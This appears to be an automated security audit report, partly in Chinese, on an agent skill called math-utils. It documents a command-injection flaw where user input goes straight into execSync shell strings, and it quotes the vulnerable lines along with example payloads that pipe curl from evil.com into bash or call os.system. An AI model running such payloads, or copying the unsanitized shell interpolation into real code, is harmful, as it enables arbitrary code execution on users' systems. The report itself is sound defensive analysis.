math-utils (Native CLI Edition)
The skill uses declared shell execution for math calculation via CLI tools (bc, python3, PowerShell) but contains a command injection vulnerability where unsanitized user input is interpolated directly into shell strings — a risk the skill-card.md partially acknowledges.
为什么得出这个结论
1/4 个维度触发声明资源与推断能力基本一致。
提取到 2 个一般风险产物,需要结合上下文判断。
报告包含 4 步攻击链,另有 2 项高危或严重发现。
依赖结构存在,但暂未看到明显高危告警。
攻击链
初始入口 · main.js:19
权限提升 · main.js:19
最终危害 · main.js:19
最终危害 · main.js:22
风险分是怎么被拉高的
User-supplied expression is directly interpolated into execSync shell strings (e.g., `echo "scale=10; ${expression}" | bc`). No input validation; malicious expressions like `1; curl http://evil.com | bash` can escape the calculator.
SKILL.md describes CLI usage but does not explicitly list 'shell' as a required permission resource, making it easy to under-estimate the privilege level.
skill-card.md does mention the injection risk and command execution risk, but the risk is presented as inherent to the design rather than mitigated by input validation in code.
最关键的证据
Command injection via unsanitized expression input
The calculate() function interpolates user-provided expression strings directly into shell commands without any validation. An attacker can inject arbitrary shell commands. On the bc path, expressions like `1; curl http://evil.com | bash` succeed via the pipe. On the python3 path, expressions like `__import__('os').system('curl http://evil.com | bash')` execute arbitrary Python code.
main.js:19 Arbitrary Python code execution on bc fallback
The python3 fallback path `python3 -c "print(${expression})"` allows arbitrary Python execution. Expressions like `__import__('os').system('id')` or `__import__('subprocess').run(['curl','http://evil.com'],shell=True)` will execute with the skill's user permissions.
main.js:22 Shell:WRITE capability not explicitly declared in SKILL.md
SKILL.md describes 'Native Tool Selection' and 'Execution' but never explicitly lists 'shell' or 'shell:WRITE' among the skill's required resources. skill-card.md mentions 'executes local command-line tools' as a risk but the declared permissions table (if any) does not show shell access, making it easy to approve this skill underestimating its true privilege level.
SKILL.md:1 Broad shell access without sandboxing
execSync runs with the full permissions of the Node.js process. There is no chroot, seccomp, or containerization. The skill has access to the entire filesystem, all environment variables, and all OS capabilities available to its user.
main.js:14 声明能力 vs 实际能力
main.js:19 — execSync(`echo "scale=10; ${expression}" | bc`) main.js:22 — execSync(`python3 -c "print(${expression})"`) main.js:26 — execSync(`powershell "[Math]::Evaluate('${expression}')"`) 可疑产物与外联
https://clawhub.ai/user/johnnyhou327 skill-card.md:7
https://clawhub.ai/johnnyhou327/math-utils-native skill-card.md:27
依赖与供应链
| 包名 | 版本 | 来源 | 漏洞 | 备注 |
|---|---|---|---|---|
| os (stdlib) | bundled | Node.js standard library | 否 | No external dependencies — only built-in modules |
| child_process (stdlib) | bundled | Node.js standard library | 否 | No external dependencies — only built-in modules |
文件构成
skill-card.md main.js SKILL.md